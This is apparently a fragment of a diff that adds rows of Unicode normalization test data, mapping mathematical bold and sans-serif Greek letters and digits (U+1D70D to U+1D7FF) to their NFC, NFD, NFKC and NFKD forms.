+{ source: [0x1D70D], NFC: [0x1D70D], NFD: [0x1D70D], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D70E], NFC: [0x1D70E], NFD: [0x1D70E], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D70F], NFC: [0x1D70F], NFD: [0x1D70F], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D710], NFC: [0x1D710], NFD: [0x1D710], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D711], NFC: [0x1D711], NFD: [0x1D711], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D712], NFC: [0x1D712], NFD: [0x1D712], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D713], NFC: [0x1D713], NFD: [0x1D713], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D714], NFC: [0x1D714], NFD: [0x1D714], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D715], NFC: [0x1D715], NFD: [0x1D715], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D716], NFC: [0x1D716], NFD: [0x1D716], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D717], NFC: [0x1D717], NFD: [0x1D717], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D718], NFC: [0x1D718], NFD: [0x1D718], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D719], NFC: [0x1D719], NFD: [0x1D719], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D71A], NFC: [0x1D71A], NFD: [0x1D71A], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D71B], NFC: [0x1D71B], NFD: [0x1D71B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D71C], NFC: [0x1D71C], NFD: [0x1D71C], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D71D], NFC: [0x1D71D], NFD: [0x1D71D], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D71E], NFC: [0x1D71E], NFD: [0x1D71E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D71F], NFC: [0x1D71F], NFD: [0x1D71F], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D720], NFC: [0x1D720], NFD: [0x1D720], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D721], NFC: [0x1D721], NFD: [0x1D721], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D722], NFC: [0x1D722], NFD: [0x1D722], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D723], NFC: [0x1D723], NFD: [0x1D723], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D724], NFC: [0x1D724], NFD: [0x1D724], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D725], NFC: [0x1D725], NFD: [0x1D725], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D726], NFC: [0x1D726], NFD: [0x1D726], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D727], NFC: [0x1D727], NFD: [0x1D727], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D728], NFC: [0x1D728], NFD: [0x1D728], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D729], NFC: [0x1D729], NFD: [0x1D729], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D72A], NFC: [0x1D72A], NFD: [0x1D72A], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D72B], NFC: [0x1D72B], NFD: [0x1D72B], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D72C], NFC: [0x1D72C], NFD: [0x1D72C], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D72D], NFC: [0x1D72D], NFD: [0x1D72D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D72E], NFC: [0x1D72E], NFD: [0x1D72E], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D72F], NFC: [0x1D72F], NFD: [0x1D72F], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D730], NFC: [0x1D730], NFD: [0x1D730], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D731], NFC: [0x1D731], NFD: [0x1D731], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D732], NFC: [0x1D732], NFD: [0x1D732], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D733], NFC: [0x1D733], NFD: [0x1D733], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D734], NFC: [0x1D734], NFD: [0x1D734], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D735], NFC: [0x1D735], NFD: [0x1D735], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D736], NFC: [0x1D736], NFD: [0x1D736], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D737], NFC: [0x1D737], NFD: [0x1D737], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D738], NFC: [0x1D738], NFD: [0x1D738], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D739], NFC: [0x1D739], NFD: [0x1D739], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D73A], NFC: [0x1D73A], NFD: [0x1D73A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D73B], NFC: [0x1D73B], NFD: [0x1D73B], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D73C], NFC: [0x1D73C], NFD: [0x1D73C], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D73D], NFC: [0x1D73D], NFD: [0x1D73D], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D73E], NFC: [0x1D73E], NFD: [0x1D73E], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D73F], NFC: [0x1D73F], NFD: [0x1D73F], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D740], NFC: [0x1D740], NFD: [0x1D740], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D741], NFC: [0x1D741], NFD: [0x1D741], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D742], NFC: [0x1D742], NFD: [0x1D742], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D743], NFC: [0x1D743], NFD: [0x1D743], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D744], NFC: [0x1D744], NFD: [0x1D744], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D745], NFC: [0x1D745], NFD: [0x1D745], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D746], NFC: [0x1D746], NFD: [0x1D746], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D747], NFC: [0x1D747], NFD: [0x1D747], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D748], NFC: [0x1D748], NFD: [0x1D748], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D749], NFC: [0x1D749], NFD: [0x1D749], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D74A], NFC: [0x1D74A], NFD: [0x1D74A], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D74B], NFC: [0x1D74B], NFD: [0x1D74B], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D74C], NFC: [0x1D74C], NFD: [0x1D74C], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D74D], NFC: [0x1D74D], NFD: [0x1D74D], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D74E], NFC: [0x1D74E], NFD: [0x1D74E], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D74F], NFC: [0x1D74F], NFD: [0x1D74F], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D750], NFC: [0x1D750], NFD: [0x1D750], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D751], NFC: [0x1D751], NFD: [0x1D751], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D752], NFC: [0x1D752], NFD: [0x1D752], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D753], NFC: [0x1D753], NFD: [0x1D753], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D754], NFC: [0x1D754], NFD: [0x1D754], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D755], NFC: [0x1D755], NFD: [0x1D755], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D756], NFC: [0x1D756], NFD: [0x1D756], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D757], NFC: [0x1D757], NFD: [0x1D757], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D758], NFC: [0x1D758], NFD: [0x1D758], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D759], NFC: [0x1D759], NFD: [0x1D759], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D75A], NFC: [0x1D75A], NFD: [0x1D75A], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D75B], NFC: [0x1D75B], NFD: [0x1D75B], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D75C], NFC: [0x1D75C], NFD: [0x1D75C], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D75D], NFC: [0x1D75D], NFD: [0x1D75D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D75E], NFC: [0x1D75E], NFD: [0x1D75E], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D75F], NFC: [0x1D75F], NFD: [0x1D75F], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D760], NFC: [0x1D760], NFD: [0x1D760], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D761], NFC: [0x1D761], NFD: [0x1D761], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D762], NFC: [0x1D762], NFD: [0x1D762], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D763], NFC: [0x1D763], NFD: [0x1D763], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D764], NFC: [0x1D764], NFD: [0x1D764], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D765], NFC: [0x1D765], NFD: [0x1D765], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D766], NFC: [0x1D766], NFD: [0x1D766], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D767], NFC: [0x1D767], NFD: [0x1D767], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D768], NFC: [0x1D768], NFD: [0x1D768], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D769], NFC: [0x1D769], NFD: [0x1D769], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D76A], NFC: [0x1D76A], NFD: [0x1D76A], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D76B], NFC: [0x1D76B], NFD: [0x1D76B], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D76C], NFC: [0x1D76C], NFD: [0x1D76C], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D76D], NFC: [0x1D76D], NFD: [0x1D76D], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D76E], NFC: [0x1D76E], NFD: [0x1D76E], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D76F], NFC: [0x1D76F], NFD: [0x1D76F], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D770], NFC: [0x1D770], NFD: [0x1D770], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D771], NFC: [0x1D771], NFD: [0x1D771], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D772], NFC: [0x1D772], NFD: [0x1D772], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D773], NFC: [0x1D773], NFD: [0x1D773], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D774], NFC: [0x1D774], NFD: [0x1D774], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D775], NFC: [0x1D775], NFD: [0x1D775], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D776], NFC: [0x1D776], NFD: [0x1D776], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D777], NFC: [0x1D777], NFD: [0x1D777], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D778], NFC: [0x1D778], NFD: [0x1D778], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D779], NFC: [0x1D779], NFD: [0x1D779], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D77A], NFC: [0x1D77A], NFD: [0x1D77A], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D77B], NFC: [0x1D77B], NFD: [0x1D77B], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D77C], NFC: [0x1D77C], NFD: [0x1D77C], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D77D], NFC: [0x1D77D], NFD: [0x1D77D], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D77E], NFC: [0x1D77E], NFD: [0x1D77E], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D77F], NFC: [0x1D77F], NFD: [0x1D77F], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D780], NFC: [0x1D780], NFD: [0x1D780], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D781], NFC: [0x1D781], NFD: [0x1D781], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D782], NFC: [0x1D782], NFD: [0x1D782], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D783], NFC: [0x1D783], NFD: [0x1D783], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D784], NFC: [0x1D784], NFD: [0x1D784], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D785], NFC: [0x1D785], NFD: [0x1D785], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D786], NFC: [0x1D786], NFD: [0x1D786], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D787], NFC: [0x1D787], NFD: [0x1D787], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D788], NFC: [0x1D788], NFD: [0x1D788], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D789], NFC: [0x1D789], NFD: [0x1D789], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D78A], NFC: [0x1D78A], NFD: [0x1D78A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D78B], NFC: [0x1D78B], NFD: [0x1D78B], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D78C], NFC: [0x1D78C], NFD: [0x1D78C], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D78D], NFC: [0x1D78D], NFD: [0x1D78D], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D78E], NFC: [0x1D78E], NFD: [0x1D78E], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D78F], NFC: [0x1D78F], NFD: [0x1D78F], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D790], NFC: [0x1D790], NFD: [0x1D790], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D791], NFC: [0x1D791], NFD: [0x1D791], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D792], NFC: [0x1D792], NFD: [0x1D792], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D793], NFC: [0x1D793], NFD: [0x1D793], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D794], NFC: [0x1D794], NFD: [0x1D794], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D795], NFC: [0x1D795], NFD: [0x1D795], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D796], NFC: [0x1D796], NFD: [0x1D796], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D797], NFC: [0x1D797], NFD: [0x1D797], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D798], NFC: [0x1D798], NFD: [0x1D798], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D799], NFC: [0x1D799], NFD: [0x1D799], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D79A], NFC: [0x1D79A], NFD: [0x1D79A], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D79B], NFC: [0x1D79B], NFD: [0x1D79B], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D79C], NFC: [0x1D79C], NFD: [0x1D79C], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D79D], NFC: [0x1D79D], NFD: [0x1D79D], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D79E], NFC: [0x1D79E], NFD: [0x1D79E], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D79F], NFC: [0x1D79F], NFD: [0x1D79F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D7A0], NFC: [0x1D7A0], NFD: [0x1D7A0], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D7A1], NFC: [0x1D7A1], NFD: [0x1D7A1], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D7A2], NFC: [0x1D7A2], NFD: [0x1D7A2], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D7A3], NFC: [0x1D7A3], NFD: [0x1D7A3], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D7A4], NFC: [0x1D7A4], NFD: [0x1D7A4], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D7A5], NFC: [0x1D7A5], NFD: [0x1D7A5], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D7A6], NFC: [0x1D7A6], NFD: [0x1D7A6], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D7A7], NFC: [0x1D7A7], NFD: [0x1D7A7], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D7A8], NFC: [0x1D7A8], NFD: [0x1D7A8], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D7A9], NFC: [0x1D7A9], NFD: [0x1D7A9], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D7AA], NFC: [0x1D7AA], NFD: [0x1D7AA], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D7AB], NFC: [0x1D7AB], NFD: [0x1D7AB], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D7AC], NFC: [0x1D7AC], NFD: [0x1D7AC], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D7AD], NFC: [0x1D7AD], NFD: [0x1D7AD], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D7AE], NFC: [0x1D7AE], NFD: [0x1D7AE], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7AF], NFC: [0x1D7AF], NFD: [0x1D7AF], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D7B0], NFC: [0x1D7B0], NFD: [0x1D7B0], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D7B1], NFC: [0x1D7B1], NFD: [0x1D7B1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7B2], NFC: [0x1D7B2], NFD: [0x1D7B2], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D7B3], NFC: [0x1D7B3], NFD: [0x1D7B3], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7B4], NFC: [0x1D7B4], NFD: [0x1D7B4], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D7B5], NFC: [0x1D7B5], NFD: [0x1D7B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D7B6], NFC: [0x1D7B6], NFD: [0x1D7B6], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D7B7], NFC: [0x1D7B7], NFD: [0x1D7B7], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D7B8], NFC: [0x1D7B8], NFD: [0x1D7B8], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D7B9], NFC: [0x1D7B9], NFD: [0x1D7B9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7BA], NFC: [0x1D7BA], NFD: [0x1D7BA], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7BB], NFC: [0x1D7BB], NFD: [0x1D7BB], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D7BC], NFC: [0x1D7BC], NFD: [0x1D7BC], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D7BD], NFC: [0x1D7BD], NFD: [0x1D7BD], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D7BE], NFC: [0x1D7BE], NFD: [0x1D7BE], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D7BF], NFC: [0x1D7BF], NFD: [0x1D7BF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C0], NFC: [0x1D7C0], NFD: [0x1D7C0], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D7C1], NFC: [0x1D7C1], NFD: [0x1D7C1], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D7C2], NFC: [0x1D7C2], NFD: [0x1D7C2], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D7C3], NFC: [0x1D7C3], NFD: [0x1D7C3], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D7C4], NFC: [0x1D7C4], NFD: [0x1D7C4], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7C5], NFC: [0x1D7C5], NFD: [0x1D7C5], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7C6], NFC: [0x1D7C6], NFD: [0x1D7C6], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7C7], NFC: [0x1D7C7], NFD: [0x1D7C7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C8], NFC: [0x1D7C8], NFD: [0x1D7C8], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7C9], NFC: [0x1D7C9], NFD: [0x1D7C9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7CA], NFC: [0x1D7CA], NFD: [0x1D7CA], NFKC: [0x03DC], NFKD: [0x03DC] },
+{ source: [0x1D7CB], NFC: [0x1D7CB], NFD: [0x1D7CB], NFKC: [0x03DD], NFKD: [0x03DD] },
+{ source: [0x1D7CE], NFC: [0x1D7CE], NFD: [0x1D7CE], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7CF], NFC: [0x1D7CF], NFD: [0x1D7CF], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7D0], NFC: [0x1D7D0], NFD: [0x1D7D0], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7D1], NFC: [0x1D7D1], NFD: [0x1D7D1], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7D2], NFC: [0x1D7D2], NFD: [0x1D7D2], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7D3], NFC: [0x1D7D3], NFD: [0x1D7D3], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7D4], NFC: [0x1D7D4], NFD: [0x1D7D4], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7D5], NFC: [0x1D7D5], NFD: [0x1D7D5], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7D6], NFC: [0x1D7D6], NFD: [0x1D7D6], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7D7], NFC: [0x1D7D7], NFD: [0x1D7D7], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7D8], NFC: [0x1D7D8], NFD: [0x1D7D8], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7D9], NFC: [0x1D7D9], NFD: [0x1D7D9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7DA], NFC: [0x1D7DA], NFD: [0x1D7DA], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7DB], NFC: [0x1D7DB], NFD: [0x1D7DB], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7DC], NFC: [0x1D7DC], NFD: [0x1D7DC], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7DD], NFC: [0x1D7DD], NFD: [0x1D7DD], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7DE], NFC: [0x1D7DE], NFD: [0x1D7DE], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7DF], NFC: [0x1D7DF], NFD: [0x1D7DF], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7E0], NFC: [0x1D7E0], NFD: [0x1D7E0], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7E1], NFC: [0x1D7E1], NFD: [0x1D7E1], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7E2], NFC: [0x1D7E2], NFD: [0x1D7E2], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7E3], NFC: [0x1D7E3], NFD: [0x1D7E3], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7E4], NFC: [0x1D7E4], NFD: [0x1D7E4], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7E5], NFC: [0x1D7E5], NFD: [0x1D7E5], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7E6], NFC: [0x1D7E6], NFD: [0x1D7E6], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7E7], NFC: [0x1D7E7], NFD: [0x1D7E7], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7E8], NFC: [0x1D7E8], NFD: [0x1D7E8], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7E9], NFC: [0x1D7E9], NFD: [0x1D7E9], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7EA], NFC: [0x1D7EA], NFD: [0x1D7EA], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7EB], NFC: [0x1D7EB], NFD: [0x1D7EB], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7EC], NFC: [0x1D7EC], NFD: [0x1D7EC], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7ED], NFC: [0x1D7ED], NFD: [0x1D7ED], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7EE], NFC: [0x1D7EE], NFD: [0x1D7EE], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7EF], NFC: [0x1D7EF], NFD: [0x1D7EF], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7F0], NFC: [0x1D7F0], NFD: [0x1D7F0], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7F1], NFC: [0x1D7F1], NFD: [0x1D7F1], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7F2], NFC: [0x1D7F2], NFD: [0x1D7F2], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7F3], NFC: [0x1D7F3], NFD: [0x1D7F3], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7F4], NFC: [0x1D7F4], NFD: [0x1D7F4], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7F5], NFC: [0x1D7F5], NFD: [0x1D7F5], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7F6], NFC: [0x1D7F6], NFD: [0x1D7F6], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7F7], NFC: [0x1D7F7], NFD: [0x1D7F7], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7F8], NFC: [0x1D7F8], NFD: [0x1D7F8], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7F9], NFC: [0x1D7F9], NFD: [0x1D7F9], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7FA], NFC: [0x1D7FA], NFD: [0x1D7FA], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7FB], NFC: [0x1D7FB], NFD: [0x1D7FB], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7FC], NFC: [0x1D7FC], NFD: [0x1D7FC], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7FD], NFC: [0x1D7FD], NFD: [0x1D7FD], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7FE], NFC: [0x1D7FE], NFD: [0x1D7FE], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7FF], NFC: [0x1D7FF], NFD: [0x1D7FF], NFKC: [0x0039], NFKD: [0x0039] },
